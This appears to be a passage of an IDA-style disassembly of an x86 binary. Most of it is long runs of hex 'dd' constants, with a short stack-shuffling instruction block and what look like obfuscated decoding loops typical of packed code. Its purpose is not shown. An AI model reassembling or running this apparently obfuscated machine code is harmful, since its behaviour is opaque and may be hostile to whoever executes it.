689h, 95BD0B00h, 8006221Ah dd 85C746F2h, 6222D31h, 59B4h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 64C35040h, 0EAD0883Ah, 1D27BF66h dd 0D181BF66h, 30E585C7h, 622h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 4687E8C3h dd 2CDC8D5Ch, 1E5B5FFh, 6A0622h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 2D1545C3h, 704B3B96h dd 85E38090h, 2AD958Bh, 95FF0622h, 6222065h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F8C35242h, 0BA669D22h dd 6A6CD4h, 307595FFh, 0C08B0622h, 0EF1319EBh, 694B9213h dd 0EBDD5BBh, 100E9D70h, 20DFB426h, 871D82A7h, 0E8FD1665h dd 0Fh, 75F5AF94h, 57EC68F2h, 0D14D63CFh, 89DC9C0Eh, 2212A5B5h dd 85235906h, 62202D9h, 724AC181h, 6E80000h, 11000000h dd 8C641CF7h, 0BF5AFCF4h, 1C65h, 0EE8h, 4A3C0900h, 96643E3Ah dd 422482ACh, 8A3FFF85h, 318B5BD7h, 11E9h, 0FF5C7800h dd 22E99E4Ch, 636F7A64h, 44876ADh, 0EE815C4Dh, 0F19B749h dd 81C78B66h, 404F3BC6h, 0FE978h, 9C920000h, 0BB337A20h dd 0B3FC4627h, 301F4AEBh, 0C4C681FDh, 0B25BA4CEh, 8B3189CEh dd 6DE981D1h, 2338CFC9h, 2215D995h, 69C18106h, 0BA38CFC9h dd 3452AD9Bh, 1EF81h, 850F0000h, 0FFFFFF96h, 1A6D8509h dd 8D8D0622h, 6293BEEh, 14E9h, 698A0400h, 0D2A33744h, 9FF87342h dd 18CE6FEFh, 2156A81Bh, 0F18D89E4h, 89062233h, 220589BDh dd 3185C706h, 5406222Dh, 6A00005Eh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0D9B4C352h dd 0E585C762h, 62230h, 0E9000000h, 11h, 2B775DC3h, 0F75BA6A3h dd 57FC4A36h, 1525DF5Fh, 0A5B5FF0Dh, 6A062234h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0ED00C353h, 6DD8D89h, 0B5290622h, 6223329h, 206595FFh dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 6BEB92C3h, 0BABF663Ch, 418589DCh, 6A062201h dd 7595FF00h, 8B062230h, 991CEBC0h, 3B06E5E4h, 0FE770A5Bh dd 86C1DA45h, 79E43D0Dh, 8D9D6915h, 0C3D42D73h, 0E96363A5h dd 0CDh, 3933D11Ch, 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h, 0F653F545h dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh dd 0ED7293BCh, 0D00097B3h, 0CD43F1B6h, 0F0A8h, 47000000h dd 0E3129D74h, 5E99E0h, 5 dup(0) dd 14E2E900h, 0DD680000h, 0E906293Eh, 0FFF945F3h, 293FF968h dd 45E9E906h, 0E468FFF9h, 0E9062940h, 0FFF945DFh, 29421468h dd 45D5E906h, 9E68FFF9h, 0E9062942h, 0FFF945CBh, 29433368h dd 45C1E906h, 0D868FFF9h, 0E9062943h, 0FFF945B7h, 29447368h dd 45ADE906h, 5C68FFF9h, 0E9062945h, 0FFF945A3h, 2946DA68h dd 4599E906h, 0CE68FFF9h, 0E9062947h, 0FFF9458Fh, 29490068h dd 4585E906h, 0E668FFF9h, 0E9062949h, 0FFF9457Bh, 294ADE68h dd 4571E906h, 1168FFF9h, 0E906294Ch, 0FFF94567h, 294E1168h dd 455DE906h, 1868FFF9h, 0E906294Fh, 0FFF94553h, 42AD96E7h dd 0F6112E5Dh, 6E79C6C9h, 84EF5821h, 3D54F39Bh, 9CE22BCDh dd 2F5B44AFh, 0C0C8F910h, 59236C87h, 3B5C87EEh, 13065961h dd 0B316BC41h, 0F4281366h, 28525F58h, 89DA6915h, 95E62B6Ah dd 1A4665B6h, 4192ADDFh, 8CE7602Ch, 2E1D6EABh, 0A4EB98F2h dd 3B4A8243h, 0ED7DAFEAh, 307DA2B7h, 1AACF04Fh, 4918CB15h dd 0A6A5D522h, 31A8C75h, 0A604FCB6h, 0A3003967h, 0FE2F6ED9h dd 18B41E2Eh, 3091E041h, 48DD03B9h, 51EA929Ah, 0D5AEE10Ch dd 0D40BE755h, 0A188D4F9h, 407CC547h, 50B6EC7Fh, 0C51587E0h dd 28411862h, 82FF5F85h, 574BD17Eh, 33h, 64AB58FFh, 41666903h dd 0E4D74918h, 31D1E5B7h, 0A22F4118h, 0C3C9C646h, 7DF02478h dd 584BD1D1h, 0CAh, 0CBF88A7Bh, 62B38CFCh, 2667BA43h, 5F07DF05h dd 0C61A2952h, 2576D1BBh, 94B98608h, 0D90A3547h, 2751E894h dd 57BCDD1Ch, 0B801D0EEh, 0E2B2E01Ch, 473AD3D6h, 232C703Bh dd 3ADFB361h, 1D265647h, 84BFCDF2h, 0F13E3557h, 0BDCB0498h dd 59544918h, 0EE352E0Eh, 2457A489h, 0D42FF927h, 0B94F3DA4h dd 0F69895F2h, 8DF13E49h, 95A6C8BEh, 66B7EF93h, 12229Bh dd 58E3AA00h, 0CC7B0031h, 34137CA5h, 9AA5D4DDh, 3404E73h dd 95DE9EE8h, 0E335AE9h, 7BA4CF7Ch, 0D6DB320Dh, 8B729DA6h dd 5EA3EEEh, 4B0F4113h, 380777DBh, 199CE0D1h, 45F61870h dd 0CB2C6FA9h, 9E236E6h, 5DCF473Ah, 473A090Dh, 3774CDE0h dd 9BB9F847h, 0AB58A278h, 0C3942BDEh, 827B5BEFh, 0D1D6995h dd 41A6D99Bh, 1862B8ABh, 6C009549h, 4118155Ch, 1567B369h dd 238A4118h, 0D7E3B91Eh, 3A411815h, 98F13073h, 15D1F9B3h dd 69444118h, 0A9F75038h, 15BCC09Ch, 87424118h, 0E1AEB61h dd 0E939568Dh, 9CD1459Bh, 394BD0EAh, 0A9h, 3A0577E1h, 8DBAC4E9h dd 37968C58h, 18B473Ah, 9AE22F46h, 63107CA1h, 8F0AFB1Ch dd 0DA0837A4h, 0C064DA12h, 677FD13Bh, 0A8F43714h, 5898F3A9h dd 36854918h, 0B906FDDFh, 8B00CCA0h, 0D8D54F3Ch, 0DC558BB4h dd 137BB8D1h, 97FCDD34h, 0EB01A32Eh, 0F9AB3B6Fh, 4B7CFED1h dd 0C37CCBB4h, 18DB4E8h, 9928B442h, 0E435EF94h, 110665h dd 44FF8E00h, 0A897E42Dh, 102F5041h, 86C1C8F9h, 0EF5C226Fh dd 89C2A284h, 0E22F4605h, 5F40AB98h, 0CAF71E29h, 0E76E79C2h dd 4CE1A92h, 6F234113h, 360777B7h, 0ACC70645h, 0C72E1963h dd 27525F4Fh, 0D3B9C01Ch, 0B84598D2h, 28D6C8D2h, 0F2F18A67h dd 8ADB1A1Bh, 0E97F44Dh, 8CD08C0Bh, 0D8632950h, 3A0972BFh dd 88B7C4E9h, 0BBD9185Bh, 15285758h, 7499D863h, 97E45527h dd 45367BA8h, 6384C706h, 0E35A6E3Eh, 0FCBF473Ah, 0AD6BFA0h dd 4AFF8A87h, 9AC6F942h, 0DB3C8370h, 69D6B9F6h, 1DBF924h dd 4918F0F6h, 83B806FFh, 0F172EF00h, 224776A3h, 4A9BA4D5h dd 0AD96E62Bh, 77E73D78h, 0E35792A5h, 60AFA49Fh, 0E0469507h dd 4B7B4B5h, 71BEB5D7h, 25C28418h, 5C5F4AD3h, 0B58EFE3Bh dd 1C27555Ah, 0E615F46Ah, 213809F1h, 101Bh, 3651EA93h dd 0AAC58209h, 0C22D1A65h, 7893ACDDh, 91F84737h, 0F09ED799h dd 83F73853h, 1464ADC4h, 0ADDFC02Bh, 0E7F07B92h, 137BE535h dd 0A2420841h, 1F2C525Fh, 0D24AAFCEh, 473A3B86h, 0D51C406Bh dd 0D4F9CA7h, 0EF720756h, 3A3BED3Dh, 6AAD0047h, 695ECE2Bh dd 4E49183Ah, 0CE33046Fh, 0DA8AB9C1h, 41183A8Eh, 0C2144863h dd 0E008E411h, 1541183Ah, 9FAB41A6h, 7241183Ah, 0D9FF83Bh dd 4F3A3A12h, 75CEBEFBh, 0A7F4533Ch, 44104584h, 4B7E3930h dd 0A2E503CEh, 45AFD9AFh, 3A0Ah, 0AB581000h, 0F6690364h dd 6749180Bh, 94E63354h, 2B6869B7h, 198BE25Dh, 41186BF3h dd 7C9DA6D6h, 6B758517h, 15984118h, 0ED9B84CFh, 4C3E0152h dd 5900000Fh, 0C2132C5Ch, 58A17DA3h, 690364ABh, 49212F84h dd 2D1A60ADh, 16733AF7h, 7A7514ADh, 0B04221E2h, 66888000h dd 0C8095796h, 6F86C1CBh, 0BCE15A22h, 3B5CA350h, 85F4561h dd 84E5C84Fh, 0D33A0577h, 70A59EEEh, 6D1E5F14h, 2F6E8DDEh dd 0E93552CAh, 931A454Ah, 6699E5E7h, 0DE2172E9h, 0EEBh dd 0C6211A63h, 7A95B2D9h, 92FD4A35h, 863DCADh, 0A1C87707h dd 206EA749h, 0B3C7C823h, 44347D94h, 0DDAF90FBh, 0B7C00B62h dd 1379D5E5h, 92923841h, 1E2D525Fh, 3B1438C2h, 2D26473Ah dd 0FBEB81E6h, 8E49212Fh, 7A7F3A9h, 0D4BA4113h, 3A072677h dd 0B9F42D73h, 1E2953A0h, 0E595E2F7h, 0AAF63566h, 2542FD8Fh dd 71C2CC0h, 0BAF14113h, 0F5024766h, 7567BD8Ah, 44D8317Eh dd 4F310657h, 0B9857538h, 1AEF901Eh, 0E613609h, 0A4E90000h dd 3C4F709Bh, 0D4BBE40Fh, 66131C77h, 18DB2DDh, 1DDF2B42h dd 729DAAD4h, 0E70E3D4Dh, 1A75CEBAh, 0B5DC6715h, 2B7F2D4Ah dd 0CE411379h, 5771808h, 0B8C4E93Ah, 5BA65E8Fh, 0D777EA1Dh dd 8F4251F3h, 0C8000008h, 96A27A5Fh, 7B473A3Bh, 3545D730h dd 0D8473A3Bh, 964D8FD5h, 0DA0B3847h, 6D3F589Bh, 49212F76h dd 92B1DAE7h, 93F93653h, 2C5041A8h, 0D5B9F613h, 41132A76h dd 4113073Dh, 0EA0F540Fh, 31068532h, 0B7436A4Fh, 0EF901F81h dd 0CC72CDDEh, 4400000Dh, 0BAE70E39h, 161B72D1h, 8EB3DA69h dd 0F82940FBh, 685EA996h, 3F4F88h, 75D2B8E9h, 0D863151Ah dd 43FC80B1h, 0C4582128h, 411378B4h, 776DB559h, 0C4E93A05h dd 0A65E8FB8h, 77EA1D5Bh, 4251F3D7h, 7FAh, 0F7503875h dd 855987A6h, 3A3BC4E8h, 0B6FDF647h, 2FE4DB51h, 0E2C94921h dd 0A17BA085h, 41130699h, 1B44317Ch, 7CD22797h, 5527429Eh dd 0EE9E83EAh, 5DCF3455h, 4113BE0Dh, 7697CDE0h, 0F1165D16h dd 42FD8F8Ch, 0BF5F4C1Eh, 73304F31h, 87F73807h, 9486BB8h dd 8FD64161h, 8699AAEFh, 0D27h, 0A65DEAFh, 0BEC97605h dd 0D6310E71h, 4CA7A0E9h, 0E50C3B43h, 0E4AAE385h, 77030C67h dd 870A1C8h, 0A1EBD43Fh, 0F3844FA6h, 13781139h, 0D64E0441h dd 0E93A0577h, 5E8FB8C4h, 1866B3A6h, 0EC0CF52Bh, 0F3D7A8A5h dd 7500D51h, 58150000h, 690364ABh, 49212FC3h, 15628736h dd 0A4B5DC67h, 0C4482AE3h, 469A561Ch, 0F54C513Bh, 0C586D9F7h dd 1176A7E6h, 84C97604h, 5D613B59h, 6F4113EBh, 0E5CA2F74h dd 0E1A08D1Ch, 0FF2505D9h, 31347E2Dh, 0AA5C5F4Fh, 0EF904C82h dd 8C330E1Fh, 400000Ch, 7AA7CE79h, 0D6DB3211h, 4E739AA9h dd 0B8E9003Bh, 281E69D6h, 0C07F0F48h, 351278A9h, 98A3D5DAh dd 33C4071h, 841861E8h, 41137F74h, 772DF599h, 50AB1C05h dd 10B6B213h, 2064B464h, 2C89473Ah, 60A3E25Dh, 0B6D9D633h dd 5E2E4B89h, 37784E5h, 0B1DA1744h, 0E3224192h, 0DF468BDh dd 0BCA9A4EBh, 970C51F3h, 1A000006h, 1B28525Fh dd 0D375ABCAh, 473A3B84h, 1176BDB6h, 8BC97604h, 2FDBD646h dd 0B3144921h, 0C01FA0F5h, 55EE9E1Dh, 5853CE12h, 90F5DA3Fh dd 131ECC1Ch, 0DA8A2141h, 41131E8Eh, 0ED144863h, 3643A49Fh dd 89D4F942h, 7507084Bh, 501BC470h, 0FB3AF1D4h, 4CB9AAAAh dd 13C188D0h, 0F4E6D41h, 42DFADEAh, 13C19EAAh, 0F9387341h dd 0DDE6B6DBh, 424F31B5h, 0ED2C1765h, 8F46091Dh, 0B6899AEFh dd 0BA3h, 8ED9622Bh, 224DFA81h, 5AB592FDh, 0F01B2455h dd 6980BFCFh, 68165F01h, 0FB8FB0DBh, 8CFC254Ch, 255758B3h dd 6F08F31Ah, 137E6DBDh, 5ACA8041h, 0E93A0577h, 5E8FB8C4h dd 8FDC6711h, 0FD2E1D62h, 0A48AEE0Bh, 0BC90E861h, 3BB5C557h dd 5558473Ah, 0A19AE20Fh, 0DBB9B446h, 8A1C51F3h, 0B7000001h dd 0B12E99CEh, 0A56B3A6h, 3A05777Ah, 1C1BECE9h, 0F90A460Eh dd 5F2D5488h, 47AC8DE4h, 3A3885D5h, 1F456847h, 0A0B906FDh dd 0CD1E2953h, 8D1F72AEh, 491840A6h, 0D6234477h, 2A499AA9h dd 0F105D7F6h, 0F411830h, 5D262642h, 0B28474E6h, 0D953B495h dd 411825B1h, 30B4964h, 4BD1B94Eh, 506Bh, 525FB300h, 0AECD1E2Dh dd 246B1872h, 0A5259EC3h, 794FDB1Dh, 0E43EF811h, 0D1C3011Fh dd 0AF6F983h, 54674918h, 6E217507h, 4F3C4118h, 8EA3F0h dd 5AD71243h, 5524081Eh, 6E6CBC70h, 24814118h, 77ADEC5Bh dd 265B6E8Ah, 0B34BD187h, 0A7h, 0A27A5F9Bh, 473A3B96h dd 0C5EC307Bh, 87B236B7h, 5BF721EAh, 0D8A6CB18h, 77010E6Bh dd 5C9FCCh, 7BC4C8E5h, 5763391Eh, 0BA473A39h, 5398ADF3h dd 55F71E29h, 473A22FFh, 0B6D16A12h, 98A07CA1h, 7D473A15h dd 0FBE8E23Eh, 0BFD953B4h, 4A491E80h, 0C1F763F9h, 0ADF3236Bh dd 0D3203974h, 4C759CABh, 97750542h, 0C4F5B6AEh, 0A2574CBh dd 0E0AD0000h, 78030C67h, 107FA0CBh, 0A2D7D833h, 3D414E99h dd 0E183E70Eh, 0E59E6A8h, 0A3CA7901h, 0D6310A7Eh, 7198A3E9h dd 0EF3BF186h, 241137Dh, 777D44Ch, 9CE0D138h, 77D248A3h dd 0ECE93A05h, 0A6FDCAFh, 3A3B4692h, 0DC00AB47h, 2A52E795h dd 9FA8D011h, 0D724355Ch, 284B98A7h, 4381FF4h, 157A0000h dd 3A3B7387h, 0C917A647h, 7FE65F35h, 0A9977FA0h, 0D0CBEC11h dd 0F862402Bh, 72C1B2A4h, 0A6708715h, 16A54918h, 6FD8A4F1h dd 84A1FF3Eh, 1932A4C8h, 599F5A41h, 0D0D33B36h, 1E39E4Bh dd 0E8840000h, 473A3BC1h, 50A9F6EDh, 212FEFDCh, 8CEDC049h dd 2B42FD8Fh, 4CAD96E6h, 65C6BBFBh, 5BD148AFh, 4113EA0Fh dd 5488CBE2h, 3DEFD431h, 4113EAEDh, 6DD6A300h, 66BAFD38h dd 4D3E7F74h, 0C25ABFFEh, 4F319EB9h, 0DBA35766h, 80EF8F6Fh dd 931A8B7h, 0D4B90000h, 6C1F006Bh, 48BB4DFh, 96E32C47h dd 315D42ADh, 0ED8FFB12h, 26DDAA4h, 0B7DE6D1Dh, 2A45FE8Ah dd 45AC97E5h, 1B2FFD9Ah, 0FE41137Ch, 7A5FC858h, 3A3B96A2h dd 0A1C9A347h, 54473A3Bh, 8FD5D859h, 0FC211A62h, 2172CDBFh dd 35EF0906h, 4195FC47h, 51F3DC0Ch, 134A9h, 5777100h, 3B78801Ch dd 1E9D473Ah, 1B618EDFh, 0FCF7C920h, 55DA52B7h, 3A491843h dd 42922273h, 0BC411832h, 0E19CB335h, 0F44BD1CEh, 46h dd 0D6E2BA9Fh, 3B41183Ah, 0F04F3F70h, 805C80A3h, 364AB58h dd 18416669h, 83E4D749h, 31BACE5Eh, 5C5F4118h, 93E0E500h dd 69135CEBh, 0D4F882DEh, 2A411831h, 0B6C349AFh, 0F25A86C5h dd 4BD1D17Fh, 0AB5Ah, 0E65FC000h, 0E70BCC73h, 74BDE3C0h dd 0C1EE3F08h, 105D8EBDh, 6D82D36Ch, 5BCD241Fh, 473AC305h dd 0AFD9701Ch, 0E5244794h, 173BC384h, 9C337875h, 86B9F4E7h dd 0C502052h, 4D0DF6C3h, 2F98366h, 0CAB9D301h, 6E886485h dd 0C3491F23h, 0FC828FE8h, 93FB244Fh, 3669D2BAh, 0B512B040h dd 9D6CBDF5h, 7FFh, 0D23D0677h, 46A19EEDh, 0FE093659h dd 147FC8B1h, 8DE4632Bh, 0C72BBBDh, 9FEBD43Fh, 305849A0h dd 0C9B3FC17h, 8BEC177Eh, 1372C911h, 0BE662C41h, 4E3D7A5Fh dd 0DF81ACF1h, 473A3B8Bh, 0E8114F6Eh, 414E99A6h, 2DE9003Bh dd 0E93A0577h, 6A8FB8C4h, 0B3E05B2Dh, 2C232C70h, 216h dd 0A27A5F16h, 473A3B96h, 0EAEC307Bh, 684DAAF9h, 3B416903h dd 0F9B4473Ah, 2F4001DBh, 0DAD14921h, 404F4C89h, 0E236E603h dd 17411306h, 9EAE78A4h, 60411306h, 15487FF9h, 6C4BCA9Fh dd 0B3E05F2Fh, 0A2E12C70h, 29000001h, 3A3BC1E8h, 0A7F6ED47h dd 0D43574D3h, 212F8158h, 424D4A49h, 0F9B3D005h, 411306D1h dd 0EA366944h, 1E1B7C3Fh, 75BAD56Eh, 0EDEF3C07h, 0DC50A9F6h dd 4F317283h, 0BDB9416Ch, 9EEF9003h, 719B28Dh, 0EC910000h dd 84F73853h, 1C63ACC7h, 0AEDBC42Fh, 49357A95h, 0D59793FAh dd 3A55F29Ch, 0AFC685F5h, 0C22D1662h, 7D94AFDDh, 0E337E5F2h dd 16411372h, 577A040h, 0B8C4E93Ah, 1E1B5E8Fh, 9325ADAh dd 0DC215CFEh, 16B451F3h, 62000001h, 0E93A0577h, 835B8C4h dd 0E2B1684h, 40876C09h, 5A535E0Bh, 0AAE7F01Bh, 0DE3864DFh dd 0E3B9DE25h, 49189D0Ch, 0BB499A11h, 4118DC6Bh, 16470476h dd 4794AFD9h, 68BE3A37h, 0B4DB1DC4h, 4BD0F0B9h, 271Ch dd 107AB700h, 9DC3E233h, 64AB58C1h, 41666903h, 0E4D74918h dd 31D1E5B7h, 0A22F4118h, 0D14E0346h, 8D6B4BD1h, 0B3000000h dd 0E93A0577h, 588DBAC4h, 8DDE6913h, 0C8231C60h, 39F12A58h dd 0C27D0F47h, 559A49ABh, 0D45E7834h, 0B8F3491Eh, 1F2C525Fh dd 0EEBEE3F4h, 411F0CDAh, 19207C3Fh, 3C20D675h, 21F5B625h dd 6210910h, 0E4A90000h, 7C0F305Bh, 147BA4CFh, 0A6D3DC37h dd 414D729Dh, 0DD9FEB02h, 325DEA94h, 0A7CE7D0Dh, 0DA350E7Ah dd 759CA7D5h, 0EB3FED8Ah, 0E411371h, 777D848h, 0E3C8D138h dd 3A3BE109h, 0B0231447h, 0BC40C2A2h, 2C558BCAh, 168CE760h dd 4A340577h, 505DBAFDh, 0E6D2A528h, 8935D728h, 0BEF30A56h dd 0C71A75CEh, 2Eh, 3A05772Fh, 91AED0DDh, 0AAF3214Ch, 1F4CF785h dd 339F6869h, 0A5E0B55Ah, 1439028Ah, 0EF4A96C9h, 68E1AB89h dd 8ED91827h, 2553h, 5778300h, 1BECE93Ah, 0A3526E10h, 31CB0940h dd 473A70EEh, 0F62E4A27h, 775CBD86h, 3A7095A5h, 0EF357847h dd 5772EE4h, 0F8EBE93Ah, 4FDE4EABh, 2049212Fh, 948F783h dd 60D9A3F0h, 0B1FC211Eh, 0E2330C70h, 106980C3h, 96CA7503h dd 0F526216Bh, 7297DC97h, 0CF78000Dh, 12BFF791h, 4B624F08h dd 0AE9BE12Eh, 0C82160DBh, 9AE3107Fh, 0F12F164Dh, 60DBA1EEh dd 0FB22D133h, 689A1921h, 7EB1FC4Bh, 92E73419h, 9ACD1D8Fh dd 8D204B68h, 1774164Ah, 0F8454AE4h, 0A515C5B5h, 1526E966h dd 4EE0Ah, 2C176600h, 90AFDCC5h, 0F8474879h, 6ED9A091h dd 0D7741A07h, 61AA4ABCh, 0DAC72E1Dh, 377893B0h, 0A2EF0641h dd 0DF0661DAh, 77D6E2BAh, 973B4113h, 3A05778Fh, 0A59EEED3h dd 0F9423744h, 324B89D4h, 1A928FFDh, 473A3BCEh, 30498823h dd 3B0951CBh, 0C1EC473Ah, 222F4A93h, 251E6EC6h, 0A914EDCAh dd 0F2F53518h, 0D5EE99Fh, 0A571AFEEh, 51F2DEA8h, 3E0Dh dd 0AB581500h, 0F6690364h, 6749180Bh, 96E63354h, 0E73D78ADh dd 0FF808DF2h, 0A3D51C40h, 89DF7198h, 9041186Bh, 0F73853ECh dd 0B97A7C81h, 7913DB36h, 0A5D42146h, 0F62A499Ah, 43D48D7h dd 77BA0000h, 78801C05h, 6D473A3Bh, 911C2522h, 8DFC395Eh dd 1E4261B2h, 61DAA2CFh, 0F83D3606h dd 4766B790h, 59BEE304h, 3A3BB7C3h, 0D535A47h, 1843F47Bh dd 47344149h, 5488ABF8h, 7CB9DEDDh, 4E9A1213h, 0A3411832h dd 5984C908h, 252E23Bh, 1F411832h, 1226F66Fh, 7411832h dd 0B2075B4h, 4496C784h, 0B59B8FE9h, 0E865ACCCh, 0CD4BD1CEh dd 4Eh, 64AB5855h, 41666903h, 5ED74918h, 0FB4608A6h, 15467984h dd 18B53747h, 0E55E2A41h, 0D9B9CFB0h, 0B441C493h, 0E1320D7Bh dd 161C5CD1h, 0D339BF3Ah, 5889B2C6h, 9BDA0B34h, 8F9CD145h dd 90F54BD1h, 187BCC1Ch, 568A2141h, 0D0CFh, 5775700h, 0AFECE93Ah dd 0F13C61DAh, 4BF886A3h, 9CA7D51Ah, 7286167Bh, 0A7473A3Bh dd 70BDC814h, 48D8330Ch, 473A37CAh, 7D0C3D4Fh, 276883C2h dd 5CB9EA55h, 0C213305Fh, 681B7DA3h, 452EFE1Bh, 92491838h dd 28ABFFADh, 6F4E4118h, 5AB5F831h, 0DD3A897Ah, 3C680F4Fh dd 4EAB024Fh, 7A003D41h, 3CE798CDh, 0C2DE3E11h, 7F483574h dd 0DBDD4B42h, 0E6F31A5Dh, 2859E6A9h, 69B4D966h, 0CD800E2Bh dd 155085C2h, 0F62C24D2h, 0F8C9EF94h, 2EE61h, 2C176600h dd 90AFDCC5h, 0F8474879h, 6ED9A091h, 0D7741A07h, 61AA4ABCh dd 0DAC72E1Dh, 377893B0h, 0A2EF0641h, 0DF0661DAh, 75D6E2BAh dd 973B4113h, 3807778Fh, 0C1CBC8D1h, 0CA165586h, 0B62DDAFh dd 64AB5893h, 41666903h, 0E4D74918h, 5FE0C283h, 470AD9D0h dd 0EC30CC19h, 124118A8h, 83FE1157h, 564BD148h, 0DEh, 0A27A5FFCh dd 473A3B96h, 0C5EC307Bh, 125F8CB7h, 0FE8EDF6Ch, 473A3740h dd 0F686B3D9h, 0CB74044Dh, 5D226F88h, 3E0454C8h, 0C2E9473Ah dd 0D325D83h, 0C7E67E7Fh, 5490CE46h, 0CF84C015h, 3AB56780h dd 0E34918A6h, 0A45FA1C8h, 81623A5Fh, 8E4F3C06h, 0BA565721h dd 97A4A2F0h, 0C7E63776h, 0D93E6384h, 7D1B3743h, 0ADDDDA4Bh dd 0EF2E4D9Eh, 390688B1h, 2286720h, 12BCA8D2h, 67B485CEh dd 0F4533811h, 1F4584A7h, 0E3B9ACD2h, 4B7D7CD7h, 4B3E733Ah dd 4180A3F0h, 941615B9h, 0EA7546EFh, 1E7h, 0CA251E6Fh dd 7E89B6C5h, 96F14E31h, 0C67E0A9h, 0A5CC7B03h, 246AA345h dd 0B7C3CC27h, 48306188h, 0E1AB94FFh, 0B3C40F66h, 1374D1F9h dd 968E4441h, 0D1380777h, 46A39CE0h, 0DBF94649h, 577E2B8h dd 0AFD0DD3Ah, 0F4394C90h, 7DCAB188h, 0A3CA0D28h, 543B0E7Eh dd 4487A6F7h, 98A3D623h, 0D1F4284Bh, 0F1267B4h, 3A3B4D9Dh dd 0CA0DA047h, 1A255499h, 356BAAC9h, 86E33023h, 0C426E63Dh dd 0FC2050A6h, 8AA00F9Dh, 46754918h, 36B23F15h, 54B58EFEh dd 0C5163147h, 40D02C1Ch, 0ADECF662h, 570C6C77h, 0EE3DEF08h dd 0D74F3A2Fh, 0F8D9106Eh, 7EA29E8Ch, 76BBE8C3h, 78E83D06h dd 0E19277F1h, 2B107592h, 7E932971h, 3FE1CC4Bh, 4B7E93EBh dd 6071AF0Eh, 0B291FE3Bh, 4C1E4261h, 455CF93Fh, 0C6810B08h dd 0E50CAF9Ah, 2677D0BCh, 5A0BFC21h, 0F204E4D6h, 41469242h dd 0AB555Ch, 58E395DCh, 53B8010Bh, 5C41B1D9h, 0B496455h dd 226ACA2Eh, 0F5EECE19h, 0DCD349AEh, 0C15B7E2Bh, 71348DEAh dd 93BDADA1h, 61492D3h, 52D3427Dh, 0CAB2FF0Eh, 7F0F2C71h dd 7DEA93C0h, 682C05F6h, 0A897E728h, 0F942367Bh, 0E84589D4h dd 27B29A90h, 72A3A0EAh, 0E404ED33h, 0CA2F746Fh, 0F21F1CE5h dd 9BE0B953h, 11EAB20Eh, 0C50096Ch, 9045757Ah, 78931A51h dd 0C3246B18h, 8B011129h, 50A90457h, 0C50A3543h, 324B89B6h dd 0D4BA8FFDh, 0F7543A77h, 234487A6h, 499AA9D6h, 0A4EDF62Ah dd 6E3E6FD8h, 7683D25Dh, 3CF870F9h, 939CF750h, 1F2850E9h dd 5F9EADD2h, 0B291FD3Ah, 67125F6Eh, 489DA6D2h, 0A897E42Dh dd 0D4F9387Bh, 9577F160h, 854F398h, 47A09BE1h, 0D907444Ah dd 380389B6h, 1389EEEBh, 24D7D6C7h, 0C65D832Ah, 3, 7773CB2Ch dd 0C3E83D06h, 105D8EB9h, 618EDF68h, 0B4F92A19h, 3287DCAh dd 529FCC7Bh, 0A2CF1C27h, 0F03D6EDDh, 696FBC8Bh, 81E18951h dd 4C1h, 4E98300h, 5C240C87h, 52243489h, 0C281E289h, 4 dd 4EA81h, 14870000h, 0C895C24h, 0E7895724h, 4C781h, 0EF830000h dd 243C8704h, 242C895Ch, 6965BE56h, 2BB93860h, 81CDC8D4h dd 0DA7C6EC1h, 81F1012Fh, 0DA7C6EE9h, 0EC815E2Fh, 4, 81242489h dd 42404h, 525D0000h, 8BAh, 51EA0100h, 8B5A028Fh db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_502B27 ; --------------------------------------------------------------------------- db 0FEh, 2Ch, 5Bh dd 295124B8h, 0FFC50306h, 0C2ACF7E0h, 655EB1Bh, 63041E0Bh dd 0BFEB3850h, 3336D70Eh, 0CDE7B953h, 512AEE48h, 8C4E0D16h dd 1855157Eh, 937D255Bh, 0C8DB5347h, 0B24B194Dh, 2AD83C7Ch dd 0DC177A7Ah, 0A0701746h, 0FC8B9518h, 6F904870h, 0CAECFD6Eh dd 5CECFC12h, 985C621h, 56062233h, 0C530DF68h, 49B5FFA9h dd 8D062226h, 257DBE85h, 8DD0FF06h, 2206D18Dh, 406A5106h dd 266DB5FFh, 0B5FF0622h, 6221BF5h, 0B5FFD0FFh, 622266Dh dd 1BF5B5FFh, 0BE80622h, 90000000h, 7A7C8011h, 0FA08BD57h dd 5E5ECE3Ah, 0C104EE83h, 0C102242Ch, 3022424h, 1CF72434h dd 6824h, 8B590000h, 0F2810E14h, 45ED9031h, 0E1CDEA81h dd 0C28163B3h, 0EEAF878h, 830E1489h, 494902E9h, 0F240C3Bh dd 1385h, 1DE900h, 0D2500000h, 0DB20C3E1h, 0D796112Eh dd 16DB6817h, 0FFFFC2E9h, 0E21451FFh, 4F2183D7h, 8D57875Fh dd 2210AD9Dh, 0B038B06h, 7840FC0h, 8B000000h, 45B8B03h dd 0C98B1889h, 15FE9h, 0D48B5200h, 0E860h, 815D0000h, 2952F2EDh dd 8428B06h, 2638453Dh, 38850F78h, 8B000001h, 4A8B0C42h dd 0BBC8D318h, 6CCAAF63h, 0E883C333h, 0F1858904h, 8B062233h dd 0F88B0458h, 8B10428Bh, 0C8D3184Ah, 